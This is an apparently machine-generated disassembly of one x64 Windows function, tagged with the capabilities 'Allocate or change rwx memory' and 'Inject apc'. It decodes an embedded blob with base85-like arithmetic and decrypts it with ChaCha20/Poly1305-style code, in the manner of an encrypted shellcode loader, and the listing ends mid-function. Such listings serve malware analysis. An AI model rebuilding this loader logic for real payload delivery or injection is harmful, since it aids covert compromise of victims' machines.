Function at 0x1400022da
Capabilities:
Allocate or change rwx memory
Inject apc

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb58
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xac0], xmm13
movaps xmmword [rbp + 0xab0], xmm12
movaps xmmword [rbp + 0xaa0], xmm11
movaps xmmword [rbp + 0xa90], xmm10
movaps xmmword [rbp + 0xa80], xmm9
movdqa xmmword [rbp + 0xa70], xmm8
movaps xmmword [rbp + 0xa60], xmm7
movaps xmmword [rbp + 0xa50], xmm6
and rsp, 0xffffffffffffffe0
lea rsi, [rsp + 0x68]
mov qword [rsi], 1
pxor xmm0, xmm0
movdqu xmmword [rsi + 8], xmm0
push 1
pop rax
xor edi, edi
lea rbx, [0x1400187f0]
xor r8d, r8d
cmp rdi, 0x16d
je 0x14000239b
mov r14b, byte [rdi + rbx]
cmp r8, qword [rsp + 0x70]
jne 0x140002385
mov rcx, rsi
mov rdx, r8
call fcn.140004473
mov rax, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
mov byte [rax + r8], r14b
mov r8, qword [rsp + 0x78]
inc r8
mov qword [rsp + 0x78], r8
inc rdi
jmp 0x14000235c
mov rdx, qword [rsp + 0x68]
lea rsi, [rsp + 0x520]
mov rcx, rsi
mov qword [rsp + 0x178], rdx
call fcn.14000558b
cmp qword [rsi], 0
jne 0x14000398b
mov r8, qword [rsp + 0x528]
mov r9, qword [rsp + 0x530]
push 5
pop rcx
mov rax, r9
xor edx, edx
div rcx
mov rcx, rax
xor eax, eax
shl rcx, 2
mov qword [rsp + 0xa8], rdx
sub rdx, 1
cmovb rdx, rax
mov rax, rdx
mov qword [rsp + 0x80], rdx
add rcx, rdx
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0xb8], r8
je 0x140002458
js 0x14000398b
mov rdi, r9
mov rsi, rcx
not rsi
shr rsi, 0x3f
mov rcx, rsi
mov rdx, qword [rsp + 0x88]
call fcn.140007d07
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x140002463
mov rdx, rcx
mov rcx, rsi
call fcn.140017666
ud2
mov rdi, r9
push 1
pop rax
mov qword [rsp + 0x60], rax
sub rdi, qword [rsp + 0xa8]
mov eax, ecx
shr eax, 8
mov dword [rsp + 0xb4], eax
mov rax, rcx
shr rax, 0x10
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x80]
and eax, 3
mov qword [rsp + 0x80], rax
and rcx, 0xfffffffffffffffc
mov qword [rsp + 0x98], rcx
xor eax, eax
mov r13, qword [rsp + 0xb8]
mov qword [rsp + 0x168], rdi
sub rdi, 5
jb 0x1400025e5
cmp qword [rsp + 0x98], rax
je 0x1400025e5
mov rsi, qword [rsp + 0x60]
add rsi, rax
je 0x1400025e5
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rax
mov cl, byte [r13]
call fcn.140004600
mov word [rsp + 0x90], ax
cmp al, 2
jne 0x140003973
push 4
pop rcx
call fcn.1400045d2
mov r12d, eax
mov cl, byte [r13 + 1]
call fcn.140004600
mov word [rsp + 0xa0], ax
cmp al, 2
jne 0x140003973
push 3
pop rcx
call fcn.1400045d2
mov edi, eax
mov cl, byte [r13 + 2]
call fcn.140004600
mov r15d, eax
cmp r15b, 2
jne 0x140003973
push 2
pop rcx
call fcn.1400045d2
mov r14d, eax
mov cl, byte [r13 + 3]
call fcn.140004600
mov ebx, eax
cmp bl, 2
jne 0x140003973
mov cl, byte [r13 + 4]
call fcn.140004600
cmp al, 2
jne 0x140003973
movzx ecx, word [rsp + 0x90]
shr ecx, 8
movzx edx, word [rsp + 0xa0]
shr edx, 8
movzx r8d, r15w
shr r8d, 8
movzx r9d, bx
shr r9d, 8
movzx eax, ax
shr eax, 8
movzx edx, dx
imul edi, edx
movzx ecx, cx
imul r12d, ecx
add r12d, edi
movzx ecx, r8w
imul r14d, ecx
movzx ecx, r9w
imul ecx, ecx, 0x55
add ecx, r14d
add ecx, r12d
movzx eax, ax
add eax, ecx
bswap eax
mov dword [rsi], eax
mov rax, qword [rsp + 0x58]
add rax, 4
add r13, 5
mov rdi, qword [rsp + 0x50]
jmp 0x1400024b7
mov rax, qword [rsp + 0xa8]
test rax, rax
je 0x140002780
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0x168]
mov cl, byte [rdx + r8]
cmp rax, 1
je 0x14000261f
mov dil, byte [rdx + r8 + 1]
cmp rax, 2
ja 0x1400029f4
cmp rax, 4
setb al
mov dword [rsp + 0x50], eax
mov al, 1
mov dword [rsp + 0x58], eax
call fcn.140004600
mov r12d, eax
cmp r12b, 2
jne 0x140003973
push 4
pop rcx
call fcn.1400045d2
cmp qword [rsp + 0xa8], 1
je 0x140003973
mov r15d, eax
mov ecx, edi
call fcn.140004600
mov r13d, eax
cmp r13b, 2
jne 0x140003973
push 3
pop rcx
call fcn.1400045d2
mov r14d, eax
mov di, 0x7e
mov bx, 0x7e
cmp byte [rsp + 0x58], 0
jne 0x14000269f
mov ecx, esi
call fcn.140004600
cmp al, 2
jne 0x140003973
movzx ebx, ax
shr ebx, 8
push 2
pop rcx
call fcn.1400045d2
mov esi, eax
cmp byte [rsp + 0x50], 0
jne 0x1400026ca
mov cl, byte [rsp + 0x90]
call fcn.140004600
cmp al, 2
jne 0x140003973
movzx edi, ax
shr edi, 8
push 1
pop rcx
call fcn.1400045d2
cmp qword [rsp + 0x80], 0
je 0x14000398b
movzx ecx, r12w
shr ecx, 8
movzx ecx, cx
movzx edx, r13w
shr edx, 8
movzx edx, dx
movzx r8d, bx
movzx r9d, di
imul r15d, ecx
imul r14d, edx
imul esi, r8d
add esi, r14d
add esi, r15d
imul eax, r9d
add eax, esi
add eax, 0x7e
mov ecx, eax
shr ecx, 0x18
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x98]
mov byte [rdx + r8], cl
cmp byte [rsp + 0x58], 0
jne 0x140002780
cmp dword [rsp + 0x80], 2
jb 0x14000398b
mov ecx, eax
shr ecx, 0x10
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x98]
mov byte [rdx + r8 + 1], cl
cmp byte [rsp + 0x50], 0
jne 0x140002780
cmp dword [rsp + 0x80], 3
jne 0x14000398b
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x98]
mov byte [rcx + rdx + 2], ah
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x178]
call fcn.14000448e
mov rdi, qword [rsp + 0x60]
mov qword [rsp + 0x68], rdi
mov rsi, qword [rsp + 0x88]
mov byte [rsp + 0x70], sil
mov eax, dword [rsp + 0xb4]
mov byte [rsp + 0x71], al
mov rcx, qword [rsp + 0x170]
mov rax, rcx
shr rax, 0x20
mov word [rsp + 0x76], ax
mov dword [rsp + 0x72], ecx
mov qword [rsp + 0x78], rsi
movabs rax, 0x167e5a6794256ad5
mov qword [rsp + 0x114], rax
mov dword [rsp + 0x11c], 0xe1bd831
movaps xmm0, xmmword [0x140018420]
movups xmmword [rsp + 0x200], xmm0
movdqa xmm0, xmmword [0x140018430]
movdqu xmmword [rsp + 0x210], xmm0
mov rcx, rsi
call fcn.1400044a2
mov r14, rax
mov qword [rsp + 0x50], rdx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call fcn.140009b20
cmp rsi, 0x10
jb 0x140003996
lea r13, [rsi - 0x10]
lea r12, [r14 + rsi]
add r12, 0xfffffffffffffff0
lea rdx, [rsp + 0x810]
pxor xmm0, xmm0
movdqa xmmword [rdx + 0x20], xmm0
movdqa xmmword [rdx + 0x10], xmm0
movdqa xmmword [rdx], xmm0
movdqu xmm0, xmmword [str.expand_32_byte_kreeYNGHL7w0___lx5Mt_K3HG_ejR_ZC0Qx_xyr_y_blvMcxG_aq_eo5s_yMDidxSBYIsjgICmLKCLSzzklRv_HWVQBWZMPavx_8RHP_1cJ8S4iuQzhlaa__d17wFHh_W5_m9PPjSTRW_ZYGnMpoN__xf___tMdSbmxuRRhK_LALrFh_6R_ZdIu1_tRHWe_D_g53G_MQp_Q_z_xYzNX8z_J_Owxf2q_4_0MBL8old4Ls_DVq___6XsAHVS4_FkMkQeJcZaFb_l_bLpuSfdsw_8_K8PC34DscJSPuU_rTUE_FF4eQ_4y_EwGbBm_d_JZ62aeNKNulError]
movdqa xmmword [rdx - 0x10], xmm0
lea rax, [rsp + 0x220]
lea r8, [rsp + 0x830]
lea rcx, [rsp + 0x200]
lea r9, [rsp + 0x490]
mov qword [r9], rcx
mov qword [r9 + 8], 0x20
mov qword [r9 + 0x10], rax
and qword [r9 + 0x18], 0
mov qword [r9 + 0x20], 4
lea rsi, [rsp + 0x520]
mov rcx, rsi
call fcn.14000139e
mov rax, qword [rsi]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi + 0x38]
mov r9, qword [rsi + 0x40]
cmp r8, r9
jae 0x1400028e4
cmp rdx, 4
jne 0x14000398b
mov r10d, dword [rcx + r8*4]
mov dword [rax + r8*4], r10d
inc r8
jmp 0x1400028c8
lea rax, [rsp + 0x120]
lea rdx, [rsp + 0x834]
lea r8, [rsp + 0x840]
lea rcx, [rsp + 0x114]
lea r9, [rsp + 0x490]
mov qword [r9], rcx
mov qword [r9 + 8], 0xc
mov qword [r9 + 0x10], rax
and qword [r9 + 0x18], 0
mov qword [r9 + 0x20], 4
lea rsi, [rsp + 0x520]
mov rcx, rsi
call fcn.14000139e
mov rax, qword [rsi]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi + 0x38]
mov r9, qword [rsi + 0x40]
cmp r8, r9
jae 0x140002967
cmp rdx, 4
jne 0x14000398b
mov r10d, dword [rcx + r8*4]
mov dword [rax + r8*4], r10d
inc r8
jmp 0x14000294b
mov al, byte [section..data]
cmp al, 0xff
jne 0x140002a5d
lea rsi, [rsp + 0x490]
mov rcx, rsi
call fcn.140004707
lea rdi, [rsp + 0x520]
mov rcx, rdi
call fcn.140004729
mov esi, dword [rsi + 8]
mov edi, dword [rdi + 4]
lea rcx, [0x140018ab9]
lea rdx, [0x140018abc]
call fcn.140005a54
mov ebx, esi
not ebx
test al, al
je 0x1400029ce
test ebx, 0xc000000
jne 0x140002a47
call fcn.1400013fe
and eax, 2
shr eax, 1
jmp 0x140002a49
lea rcx, [0x140018ab9]
mov rdx, rcx
call fcn.140005a54
test al, al
je 0x140002a16
test ebx, 0xc000000
jne 0x140002a47
call fcn.1400013fe
not eax
test al, 6
jmp 0x140002a42
mov sil, byte [rdx + r8 + 2]
cmp rax, 3
jne 0x140003952
mov al, 1
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x58], 0
jmp 0x140002630
lea rcx, [0x140018ab9]
lea rdx, [0x140018abf]
call fcn.140005a54
mov ecx, eax
mov al, 1
test cl, cl
je 0x140002a49
test ebx, 0xc000000
jne 0x140002a47
call fcn.1400013fe
not eax
test al, 0xe6
sete al
jmp 0x140002a49
xor eax, eax
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [section..data], sil
movaps xmm0, xmmword [rsp + 0x800]
movaps xmm1, xmmword [rsp + 0x810]
movaps xmm2, xmmword [rsp + 0x820]
movaps xmm3, xmmword [rsp + 0x830]
movaps xmmword [rsp + 0xf0], xmm3
movaps xmmword [rsp + 0xe0], xmm2
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
xorps xmm4, xmm4
movaps xmmword [rsp + 0x520], xmm4
movaps xmmword [rsp + 0x530], xmm4
movaps xmmword [rsp + 0x540], xmm4
movaps xmmword [rsp + 0x550], xmm4
lea rcx, [rsp + 0x490]
movaps xmmword [rcx + 0x30], xmm3
movaps xmmword [rcx + 0x20], xmm2
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
movaps xmmword [rcx + 0x70], xmm4
movaps xmmword [rcx + 0x60], xmm4
movaps xmmword [rcx + 0x50], xmm4
movaps xmmword [rcx + 0x40], xmm4
mov byte [rcx + 0x80], 0
lea rdx, [rsp + 0x140]
movaps xmmword [rdx], xmm4
movaps xmmword [rdx + 0x10], xmm4
push 0x20
pop r8
call fcn.14000140b
mov al, byte [0x140023001]
cmp al, 0xff
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x90], r13
mov qword [rsp + 0xa0], r12
je 0x1400031d5
cmp al, 1
jne 0x1400032a2
lea rsi, [rsp + 0x520]
lea rdx, [rsp + 0x140]
mov rcx, rsi
call fcn.140007a54
movaps xmm6, xmmword [rsi]
movaps xmm7, xmmword [rsi + 0x10]
movaps xmm0, xmmword [rsi + 0x20]
movaps xmm1, xmmword [rsi + 0x30]
lea rdx, [rsp + 0x2e0]
movaps xmmword [rdx], xmm0
movaps xmmword [rdx + 0x10], xmm1
movaps xmm0, xmmword [rsi + 0x40]
movaps xmmword [rdx + 0x20], xmm0
movaps xmm0, xmmword [rsi + 0x50]
movaps xmmword [rdx + 0x30], xmm0
lea rsi, [rsp + 0xc0]
mov rcx, rsi
mov r8, rdx
call fcn.140005b6b
movaps xmm10, xmmword [rsi]
movaps xmm11, xmmword [rsi + 0x10]
movaps xmm8, xmmword [rsi + 0x20]
movaps xmm9, xmmword [rsi + 0x30]
mov eax, 0x3ffffff
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x440]
push 0xffffffffffffffff
pop r14
mov r8d, 0x3ffffff
mov r9d, 0x3ffffff
mov rcx, rdi
mov rdx, r14
call fcn.1400060ee
lea rdx, [rsp + 0x3a0]
movaps xmmword [rdx + 0x10], xmm11
movaps xmmword [rdx], xmm10
lea rsi, [rsp + 0x400]
mov rcx, rsi
mov r8, rdi
call fcn.14000638e
push 0x1a
pop r8
mov qword [rsp + 0x20], r8
lea rdi, [rsp + 0x460]
push 0x40
pop rdx
mov rcx, rdi
mov r9, r8
call fcn.1400060ee
lea rdx, [rsp + 0x3c0]
movaps xmmword [rdx + 0x10], xmm11
movaps xmmword [rdx], xmm10
lea r12, [rsp + 0x3e0]
mov rcx, r12
mov r8, rdi
call fcn.140007ad2
lea r15, [rsp + 0x420]
mov rcx, r15
mov rdx, r12
call fcn.14000639f
lea rdi, [rsp + 0x520]
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call fcn.14000613f
movaps xmm10, xmmword [rdi]
movaps xmm11, xmmword [rdi + 0x10]
lea rdi, [rsp + 0x1c0]
movaps xmmword [rdi + 0x10], xmm11
movaps xmmword [rdi], xmm10
lea rbx, [rsp + 0x320]
mov rcx, rbx
mov rdx, rdi
call fcn.1400079d3
lea rsi, [rsp + 0x340]
mov rcx, rsi
mov rdx, rbx
call fcn.14000639f
lea rdx, [rsp + 0x1e0]
movaps xmmword [rdx + 0x10], xmm9
movaps xmmword [rdx], xmm8
lea rcx, [rsp + 0x520]
mov r8, rsi
call fcn.14000613f
or qword [rsp + 0x20], 0xffffffffffffffff
lea rsi, [rsp + 0x180]
mov edx, 0x3ffffff
mov rcx, rsi
mov r8, r14
mov r9, r14
call fcn.1400060ee
lea r13, [rsp + 0x360]
movaps xmmword [r13 + 0x10], xmm11
movaps xmmword [r13], xmm10
lea r14, [rsp + 0x540]
mov rcx, r14
mov rdx, r13
mov r8, rsi
call fcn.14000638e
movaps xmm8, xmmword [r14 - 0x20]
movaps xmm9, xmmword [r14 - 0x10]
movaps xmm10, xmmword [r14]
movaps xmm11, xmmword [r14 + 0x10]
push 0x1a
pop rax
mov qword [rsp + 0x20], rax
lea rsi, [rsp + 0x400]
mov rcx, rsi
push 0x40
pop rdx
mov r8, rdx
mov r9, rdx
call fcn.1400060ee
movaps xmmword [r12 + 0x10], xmm9
movaps xmmword [r12], xmm8
lea r14, [rsp + 0x520]
lea rdx, [rsp + 0x3e0]
mov rcx, r14
mov r8, rsi
call fcn.140007ad2
movaps xmm12, xmmword [r14]
movaps xmm13, xmmword [r14 + 0x10]
movaps xmmword [r15 + 0x10], xmm11
movaps xmmword [r15], xmm10
movaps xmmword [rdi + 0x10], xmm13
movaps xmmword [rdi], xmm12
lea r14, [rsp + 0x1e0]
lea rdx, [rsp + 0x420]
lea r8, [rsp + 0x1c0]
mov rcx, r14
call fcn.14000613f
movaps xmmword [rbx + 0x10], xmm13
movaps xmmword [rbx], xmm12
lea rsi, [rsp + 0x340]
lea rdx, [rsp + 0x320]
mov rcx, rsi
call fcn.140007ae3
lea rdi, [rsp + 0x520]
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call fcn.14000613f
movaps xmm10, xmmword [rdi]
movaps xmm11, xmmword [rdi + 0x10]
mov r14d, 0x3ffffff
mov qword [rsp + 0x20], r14
xor r12d, r12d
lea rsi, [rsp + 0x180]
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call fcn.1400060ee
movaps xmmword [r13 + 0x10], xmm9
movaps xmmword [r13], xmm8
lea rdi, [rsp + 0x520]
lea rbx, [rsp + 0x360]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.14000638e
movaps xmm8, xmmword [rdi]
movaps xmm9, xmmword [rdi + 0x10]
mov qword [rsp + 0x20], r14
lea rdi, [rsp + 0x440]
mov r8d, 0x3ffffff
mov r9d, 0x3ffffff
mov rcx, rdi
push 0xffffffffffffffff
pop r13
mov rdx, r13
call fcn.1400060ee
lea rax, [rsp + 0x3a0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea rsi, [rsp + 0x400]
lea rdx, [rsp + 0x3a0]
mov rcx, rsi
mov r8, rdi
call fcn.14000638e
push 0x1a
pop r8
mov qword [rsp + 0x20], r8
lea rdi, [rsp + 0x460]
mov rcx, rdi
push 0x40
pop rdx
mov r9, r8
call fcn.1400060ee
lea rax, [rsp + 0x3c0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea r14, [rsp + 0x3e0]
lea rdx, [rsp + 0x3c0]
mov rcx, r14
mov r8, rdi
call fcn.140007ad2
lea rdi, [rsp + 0x420]
mov rcx, rdi
mov rdx, r14
call fcn.14000639f
lea r14, [rsp + 0x520]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.14000613f
movaps xmm10, xmmword [r14]
movaps xmm11, xmmword [r14 + 0x10]
lea rax, [rsp + 0x1c0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea rsi, [rsp + 0x320]
lea rdx, [rsp + 0x1c0]
mov rcx, rsi
call fcn.1400079d3
lea r15, [rsp + 0x340]
mov rcx, r15
mov rdx, rsi
call fcn.14000639f
lea rax, [rsp + 0x1e0]
movaps xmmword [rax + 0x10], xmm9
movaps xmmword [rax], xmm8
lea rcx, [rsp + 0x520]
lea rdx, [rsp + 0x1e0]
mov r8, r15
call fcn.14000613f
or qword [rsp + 0x20], 0xffffffffffffffff
lea rdi, [rsp + 0x180]
mov edx, 0x3ffffff
mov rcx, rdi
mov r8, r13
mov r9, r13
call fcn.1400060ee
movaps xmmword [rbx + 0x10], xmm11
movaps xmmword [rbx], xmm10
lea rbx, [rsp + 0x540]
lea rdx, [rsp + 0x360]
mov rcx, rbx
mov r8, rdi
call fcn.14000638e
movdqa xmm8, xmmword [rbx - 0x20]
movaps xmm9, xmmword [rbx - 0x10]
movaps xmm10, xmmword [rbx]
movaps xmm11, xmmword [rbx + 0x10]
push 2
pop r14
mov dword [rsp + 0x38], r14d
push 4
pop r13
mov dword [rsp + 0x30], r13d
push 6
pop rdi
mov dword [rsp + 0x28], edi
and dword [rsp + 0x40], 0
and dword [rsp + 0x20], 0
lea rbx, [rsp + 0x1e0]
mov rcx, rbx
xor edx, edx
mov r8d, edi
mov r9d, r13d
call fcn.140005afa
movaps xmmword [rsi + 0x10], xmm11
movaps xmmword [rsi], xmm10
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x320]
mov rcx, rsi
mov r8, rbx
call fcn.140005b3a
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], edi
and dword [rsp + 0x40], 0
and dword [rsp + 0x20], 0
lea rbx, [rsp + 0x360]
mov rcx, rbx
xor edx, edx
mov r8d, edi
mov r9d, r13d
call fcn.140005afa
movaps xmmword [r15 + 0x10], xmm9
movdqa xmmword [r15], xmm8
lea rdi, [rsp + 0x520]
lea rdx, [rsp + 0x340]
mov rcx, rdi
mov r8, rbx
call fcn.140005b3a
lea rbx, [rsp + 0x1c0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.140007af4
lea rcx, [rsp + 0xc0]
mov rdx, rbx
call fcn.140007895
lea rcx, [rsp + 0x180]
call fcn.140005a82
cmp r12, 0x40
je 0x1400030c5
movdqu xmm0, xmmword [rsp + 0x180]
movdqu xmmword [rsp + r12 + 0x520], xmm0
add r12, 0x10
jmp 0x1400030a6
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movaps xmm2, xmmword [rsp + 0x300]
movaps xmm3, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0x2a0], xmm0
movaps xmmword [rsp + 0x2b0], xmm1
movaps xmmword [rsp + 0x2c0], xmm2
movaps xmmword [rsp + 0x2d0], xmm3
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xd0]
movaps xmm2, xmmword [rsp + 0xe0]
movaps xmm3, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x260], xmm0
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x280], xmm2
movaps xmmword [rsp + 0x290], xmm3
lea rdx, [rsp + 0x520]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x250], xmm3
movaps xmmword [rsp + 0x240], xmm2
movaps xmmword [rsp + 0x230], xmm1
movaps xmmword [rsp + 0x220], xmm0
mov eax, dword [rsp + 0x2f0]
mov dword [rsp + 0x130], eax
movups xmm0, xmmword [rsp + 0x2e0]
movaps xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x800]
mov r8d, 0x108
call fcn.140009b20
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rsp + 0xcf]
mov qword [rsp + 0x1af], rax
xor r15d, r15d
jmp 0x14000332c
lea rsi, [rsp + 0x800]
mov rcx, rsi
call fcn.140004707
lea rdi, [rsp + 0x520]
mov rcx, rdi
call fcn.140004729
mov esi, dword [rsi + 8]
mov edi, dword [rdi + 4]
lea rcx, [0x140018ab9]
lea rdx, [0x140018abc]
call fcn.140005a54
test al, al
je 0x140003229
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140003286
call fcn.1400013fe
and eax, 2
shr eax, 1
jmp 0x140003288
lea rcx, [0x140018ab9]
mov rdx, rcx
call fcn.140005a54
test al, al
je 0x140003252
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140003286
call fcn.1400013fe
not eax
test al, 6
jmp 0x140003281
lea rcx, [0x140018ab9]
lea rdx, [0x140018abf]
call fcn.140005a54
mov ecx, eax
mov al, 1
test cl, cl
je 0x140003288
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140003286
call fcn.1400013fe
not eax
test al, 0xe6
sete al
jmp 0x140003288
xor eax, eax
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [0x140023001], sil
jne 0x140002b31
xorps xmm0, xmm0
and dword [rsp + 0x130], 0
movaps xmmword [rsp + 0x120], xmm0
mov edi, 0x3ffffff
and edi, dword [rsp + 0x140]
mov ebx, dword [rsp + 0x143]
mov r12d, dword [rsp + 0x146]
shr ebx, 2
and ebx, 0x3ffff03
shr r12d, 4
and r12d, 0x3ffc0ff
mov r13d, dword [rsp + 0x149]
shr r13d, 6
and r13d, 0x3f03fff
mov r14d, dword [rsp + 0x14c]
shr r14d, 8
and r14d, 0xfffff
movdqa xmm8, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x390], xmm8
mov r15b, byte [rsp + 0x390]
psrldq xmm8, 1
mov eax, dword [rsp + 0x130]
lea rsi, [rsp + 0x558]
mov dword [rsi - 4], eax
movaps xmm0, xmmword [rsp + 0x120]
movups xmmword [rsi - 0x14], xmm0
lea rdx, [rsp + 0x800]
mov r8d, 0x108
mov rcx, rsi
call fcn.140009b20
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmm1, xmmword [rsp + 0x2b0]
movaps xmm2, xmmword [rsp + 0x2c0]
movaps xmm3, xmmword [rsp + 0x2d0]
movaps xmmword [rsi + 0x128], xmm0
movaps xmmword [rsi + 0x138], xmm1
movaps xmmword [rsi + 0x148], xmm2
movaps xmmword [rsi + 0x158], xmm3
movaps xmm0, xmmword [rsp + 0x260]
movaps xmm1, xmmword [rsp + 0x270]
movaps xmm2, xmmword [rsp + 0x280]
movaps xmm3, xmmword [rsp + 0x290]
movaps xmmword [rsi + 0x168], xmm0
movaps xmmword [rsi + 0x178], xmm1
movaps xmmword [rsi + 0x188], xmm2
movaps xmmword [rsi + 0x198], xmm3
movaps xmm0, xmmword [rsp + 0x220]
movaps xmm1, xmmword [rsp + 0x230]
movaps xmm2, xmmword [rsp + 0x240]
movaps xmm3, xmmword [rsp + 0x250]
movaps xmmword [rsi + 0x1a8], xmm0
movaps xmmword [rsi + 0x1b8], xmm1
movaps xmmword [rsi + 0x1c8], xmm2
movaps xmmword [rsi + 0x1d8], xmm3
mov rax, qword [rsp + 0x1af]
mov qword [rsi + 0x200], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rsi + 0x1f1], xmm0
mov byte [rsi - 0x38], r15b
movdqa xmmword [rsp + 0x380], xmm8
movq qword [rsi - 0x37], xmm8
pshufd xmm0, xmm8, 0xee
movd dword [rsi - 0x2f], xmm0
pextrw eax, xmm8, 6
mov word [rsi - 0x2b], ax
mov al, byte [rsp + 0x38e]
mov byte [rsi - 0x29], al
mov dword [rsi - 0x28], edi
mov dword [rsi - 0x24], ebx
mov dword [rsi - 0x20], r12d
mov dword [rsi - 0x1c], r13d
mov dword [rsi - 0x18], r14d
movaps xmmword [rsi + 0x108], xmm6
movaps xmmword [rsi + 0x118], xmm7
and qword [rsi + 0x1e8], 0
xor edi, edi
mov byte [rsi + 0x1f0], dil
lea rcx, [rsp + 0x140]
push 0x20
pop rdx
call fcn.140009039
lea rdx, [rsp + 0x490]
mov dword [rdx + 0x30], 1
mov byte [rdx + 0x80], dil
lea r12, [rsp + 0x760]
mov r8d, 0x84
mov rcx, r12
call fcn.140009b20
movabs rax, 0x3fffffffbf
mov r15, qword [rsp + 0x90]
cmp r15, rax
mov r14, qword [rsp + 0x58]
ja 0x14000376f
lea rdx, [0x1400189a8]
lea rsi, [rsp + 0x520]
mov rcx, rsi
xor r8d, r8d
call fcn.140001000
mov rcx, rsi
mov rdx, r14
mov r8, r15
call fcn.140001000
lea rdi, [rsp + 0x490]
mov rcx, rdi
call fcn.140005a82
and qword [rdi], 0
mov qword [rdi + 8], r15
mov rax, qword [rdi]
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x800]
mov qword [rdx], rax
mov qword [rdx + 8], rcx
push 1
pop r8
mov rcx, rsi
call fcn.140001062
lea rcx, [rsp + 0x800]
mov r8d, 0x240
mov rdx, rsi
call fcn.140009b20
mov al, byte [0x140023001]
cmp al, 1
jne 0x14000358e
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x800]
call fcn.1400063ad
jmp 0x140003716
mov esi, dword [rsp + 0x828]
mov eax, esi
shr eax, 0x1a
mov edx, 0x3ffffff
and esi, edx
add eax, dword [rsp + 0x82c]
mov ecx, eax
shr ecx, 0x1a
and eax, edx
add ecx, dword [rsp + 0x830]
mov r9d, ecx
shr r9d, 0x1a
add r9d, dword [rsp + 0x834]
and ecx, edx
mov r10d, r9d
shr r10d, 0x1a
mov r8d, r9d
and r8d, edx
lea r11d, [r10 + r10*4]
add r11d, dword [rsp + 0x824]
mov r10d, r11d
shr r10d, 0x1a
add r10d, esi
and r11d, edx
lea r14d, [r11 + 5]
mov esi, r14d
shr esi, 0x1a
add esi, r10d
mov edi, esi
shr edi, 0x1a
add edi, eax
mov r12d, edi
shr r12d, 0x1a
add r12d, ecx
mov r13d, r12d
shr r13d, 0x1a
mov rbx, r15
lea r15d, [r8 + r13]
add r15d, 0xfc000000
add r13d, r8d
mov r8d, r15d
sar r8d, 0x1f
shr r15d, 0x1f
dec r15d
and edx, r15d
and r14d, edx
and esi, edx
and edi, edx
and edx, r12d
and r15d, r13d
and r11d, r8d
or r11d, r14d
and r10d, r8d
or r10d, esi
and eax, r8d
or eax, edi
and ecx, r8d
or ecx, edx
and r8d, r9d
or r8d, r15d
mov edi, r10d
shl edi, 0x1a
or edi, r11d
shr r10d, 6
mov edx, eax
shl edx, 0x14
or edx, r10d
shr eax, 0xc
mov r9d, ecx
shl r9d, 0xe
or r9d, eax
shr ecx, 0x12
shl r8d, 8
or r8d, ecx
add edi, dword [rsp + 0x800]
mov r14d, dword [rsp + 0x804]
mov eax, dword [rsp + 0x808]
adc r14, rdx
add rax, r9
mov r15, r14
shr r15, 0x20
add r8d, dword [rsp + 0x80c]
add r15, rax
mov r12, r15
shr r12, 0x20
add r12d, r8d
lea rsi, [rsp + 0x490]
mov rcx, rsi
call fcn.140005a82
mov dword [rsi], edi
mov dword [rsi + 4], r14d
mov r14, qword [rsp + 0x58]
mov dword [rsi + 8], r15d
mov r15, rbx
mov dword [rsi + 0xc], r12d
lea r12, [rsp + 0x760]
mov eax, dword [rsi]
mov dword [rsp + 0xc0], eax
